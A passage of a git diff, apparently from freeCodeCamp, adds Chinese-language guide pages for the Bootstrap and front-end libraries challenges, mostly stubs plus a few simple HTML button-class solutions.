+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
new file mode 100644
index 0000000000..61efdca66c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/apply-the-default-bootstrap-button-style/index.md
@@ -0,0 +1,44 @@
+---
+title: Apply the Default Bootstrap Button Style
+localeTitle: 应用默认引导按钮样式
+---
+## 应用默认引导按钮样式
+
+最后一个挑战是你创建了6个按钮，每个井元素中有3个，这次你需要为这些按钮添加类。
+
+### 暗示
+
+使用以下语法声明类：
+
+```html
+
+<button class="class(es)Name"></button> 
+```
+
+### 解
+
+由于您必须添加`btn`和`btn-default`类，因此以下是解决方案：
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+        <button class="btn btn-default"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
new file mode 100644
index 0000000000..8728cf94f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md
@@ -0,0 +1,9 @@
+---
+title: Call out Optional Actions with btn-info
+localeTitle: 使用btn-info调出可选操作
+---
+## 使用btn-info调出可选操作
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/call-out-optional-actions-with-btn-info/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
new file mode 100644
index 0000000000..138e8bcfdc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Center Text with Bootstrap
+localeTitle: 中心文本与引导程序
+---
+## 中心文本与引导程序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/center-text-with-bootstrap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
new file mode 100644
index 0000000000..1afa53ea5c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Block Element Bootstrap Button
+localeTitle: 创建一个块元素引导按钮
+---
+## 创建一个块元素引导按钮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-block-element-bootstrap-button/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
new file mode 100644
index 0000000000..254a828be9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Button
+localeTitle: 创建一个Bootstrap按钮
+---
+## 创建一个Bootstrap按钮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-button/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
new file mode 100644
index 0000000000..1182fc1eef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Headline
+localeTitle: 创建一个Bootstrap标题
+---
+## 创建一个Bootstrap标题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-headline/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
new file mode 100644
index 0000000000..73d9493be9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Bootstrap Row
+localeTitle: 创建一个Bootstrap行
+---
+## 创建一个Bootstrap行
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
new file mode 100644
index 0000000000..1126a2740a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
@@ -0,0 +1,39 @@
+---
+title: Create a Class to Target with jQuery Selectors
+localeTitle: 使用jQuery选择器创建一个目标类
+---
+## 使用jQuery选择器创建一个目标类
+
+最后一个挑战是你在你的`html <button></button>`元素中添加了一些类来设置它们的样式，这次你需要为那些允许jQuery定位它们的按钮添加其他类。
+
+### 暗示
+
+编辑课程
+
+### 解
+
+由于您必须添加`target`类，因此以下是解决方案：
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
new file mode 100644
index 0000000000..c3de26be7a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Custom Heading
+localeTitle: 创建自定义标题
+---
+## 创建自定义标题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
new file mode 100644
index 0000000000..4e02f30950
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Bootstrap Wells
+localeTitle: 创建Bootstrap Wells
+---
+## 创建Bootstrap Wells
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
new file mode 100644
index 0000000000..e1b9c540ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditch Custom CSS for Bootstrap
+localeTitle: Ditch Custom CSS for Bootstrap
+---
+## Ditch Custom CSS for Bootstrap
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
new file mode 100644
index 0000000000..51ee9b74bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Each Element a Unique id
+localeTitle: 为每个元素赋予唯一ID
+---
+## 为每个元素赋予唯一ID
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
new file mode 100644
index 0000000000..cfdd645cb0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
@@ -0,0 +1,9 @@
+---
+title: House our page within a Bootstrap container-fluid div
+localeTitle: 将我们的页面放在Bootstrap容器 - 流体div中
+---
+## 将我们的页面放在Bootstrap容器 - 流体div中
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/index.md
new file mode 100644
index 0000000000..58b45cfcd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/index.md
@@ -0,0 +1,22 @@
+---
+title: Bootstrap
+localeTitle: 引导
+---
+## 引导
+
+[Bootstrap](https://www.getbootstrap.com/)是一个前端库，提供用户可以直接使用或修改然后部署的基本框架或布局。他们主要关注的是制作一个适合移动设备的框架，但Bootstrap也适用于桌面设备。
+
+引自Bootstrap网站：
+```
+Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Quickly prototype your ideas or build your entire app with our Sass variables and mixins, responsive grid system, extensive prebuilt components, and powerful plugins built on jQuery. 
+```
+
+该框架在许多前端项目中找到了可雇佣性，并且被称为最着名的HTML和CSS框架。
+
+#### 更多信息：
+
+1.  [Bootstrap文档](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
+2.  [使用Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/download/)
+3.  [Bootstrap主题](https://themes.getbootstrap.com/)
+4.  [Bootstrap博客](https://blog.getbootstrap.com/)
+5.  [Bootstrap开源页面](https://github.com/twbs/bootstrap)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
new file mode 100644
index 0000000000..46d9d288e7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Buttons
+localeTitle: 标签引导按钮
+---
+## 标签引导按钮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
new file mode 100644
index 0000000000..45d40f400a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Wells
+localeTitle: 标签Bootstrap Wells
+---
+## 标签Bootstrap Wells
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
new file mode 100644
index 0000000000..42ea454ef6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Line up Form Elements Responsively with Bootstrap
+localeTitle: 使用Bootstrap响应表单元素
+---
+## 使用Bootstrap响应表单元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
new file mode 100644
index 0000000000..7bbfb04e52
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Images Mobile Responsive
+localeTitle: 使图像移动响应
+---
+## 使图像移动响应
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
new file mode 100644
index 0000000000..97b7dce0d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Checkboxes
+localeTitle: 响应式样式复选框
+---
+## 响应式样式复选框
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
new file mode 100644
index 0000000000..b63830b8b0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Radio Buttons
+localeTitle: 响应样式单选按钮
+---
+## 响应样式单选按钮
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
new file mode 100644
index 0000000000..5342d579f1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Bootstrap Row
+localeTitle: 拆分你的Bootstrap行
+---
+## 拆分你的Bootstrap行
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
new file mode 100644
index 0000000000..46972b5135
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Text Inputs as Form Controls
+localeTitle: 样式文本输入作为表单控件
+---
+## 样式文本输入作为表单控件
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
new file mode 100644
index 0000000000..368cfa3a56
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
@@ -0,0 +1,9 @@
+---
+title: Taste the Bootstrap Button Color Rainbow
+localeTitle: 品尝Bootstrap按钮彩虹
+---
+## 品尝Bootstrap按钮彩虹
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
new file mode 100644
index 0000000000..933aed161d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a span to Target Inline Elements
+localeTitle: 使用跨度来定位内联元素
+---
+## 使用跨度来定位内联元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
new file mode 100644
index 0000000000..aa56521f9d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Comments to Clarify Code
+localeTitle: 使用注释来澄清代码
+---
+## 使用注释来澄清代码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
new file mode 100644
index 0000000000..e71cf68dc9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Responsive Design with Bootstrap Fluid Containers
+localeTitle: 使用具有Bootstrap Fluid Containers的响应式设计
+---
+## 使用具有Bootstrap Fluid Containers的响应式设计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
new file mode 100644
index 0000000000..3009cbc668
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Bootstrap Grid to Put Elements Side By Side
+localeTitle: 使用Bootstrap网格并排放置元素
+---
+## 使用Bootstrap网格并排放置元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
new file mode 100644
index 0000000000..48be3d2eb6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
@@ -0,0 +1,9 @@
+---
+title: Warn Your Users of a Dangerous Action with btn-danger
+localeTitle: 用btn-danger警告你的危险行为用户
+---
+## 用btn-danger警告你的危险行为用户
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
new file mode 100644
index 0000000000..0167edbb15
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Drum Machine
+localeTitle: 建立鼓机
+---
+## 建立鼓机
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
new file mode 100644
index 0000000000..a67ec3e7c2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a JavaScript Calculator
+localeTitle: 构建JavaScript计算器
+---
+## 构建JavaScript计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
new file mode 100644
index 0000000000..e734843773
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Markdown Previewer
+localeTitle: 构建Markdown预览器
+---
+## 构建Markdown预览器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
new file mode 100644
index 0000000000..cae6e3978f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pomodoro Clock
+localeTitle: 建立一个番茄钟
+---
+## 建立一个番茄钟
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
new file mode 100644
index 0000000000..7d897f35e4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
@@ -0,0 +1,11 @@
+---
+title: Build a Random Quote Machine
+localeTitle: 建立一个随机报价机
+---
+## 建立一个随机报价机
+
+该项目由三个不同的部分组成：
+
+1.  确定完成任务所需的组件，有哪些组件？某些组件可以多次使用吗？例如按钮，它们是否只与不同的onClick事件相同？
+2.  什么组件应该负责保持状态，以及状态的变化应该如何传递给其他组件？
+3.  如何获取新报价？新报价和作者应该存储在哪里？
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/index.md b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/index.md
new file mode 100644
index 0000000000..313fe06e41
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/front-end-libraries-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Front  End Libraries Projects
+localeTitle: 前端图书馆项目
